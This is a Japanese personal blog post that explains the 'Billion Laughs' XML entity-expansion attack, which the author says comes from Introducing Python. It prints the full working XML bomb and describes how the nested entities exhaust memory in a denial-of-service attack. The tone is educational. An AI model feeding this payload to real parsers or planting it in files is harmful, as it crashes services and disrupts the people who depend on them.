六帖のかたすみ

DVを受けていた男性。家を脱出して二周目の人生を生きています。自閉症スペクトラム(受動型)です。http://rokujo.org/ に引っ越しました。

Billion Laughs

Introducing Pythonに載っていた。次のXMLを読み込むと大抵のPCが落ちるか、動作不安定になる。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

まずlolzエレメントが読み込まれ、これはlol9を参照している。しかしlol9は10個のlol8エレメントと定義されていて、さらにlol8は10個のlol7エレメントと定義されている。以下10回繰り返して、最後にlol1は10個の"lol"に変換される。10の9乗個の"lol"、すなわち3GBのメモリを消費する。シンプルかつ効果の高いDoS攻撃の一種だ。
lol(laughing out loud)、というのは日本語にすると(笑)と大体同じ意味だ。lolでは日本人になじみがないが、をに変えれば4GBの(笑)で画面が埋め尽くされる。この攻撃のウザさが良く分かるだろう。なおWikipediaによれば発祥は2003年、有名になったのは2008年らしいのでセキュリティ業界にはとっくに膾炙されている問題と思われる。なお手元で実行してみようと思ったらセキュリティソフトに "XML Bomb" と警告されて実行できなかった。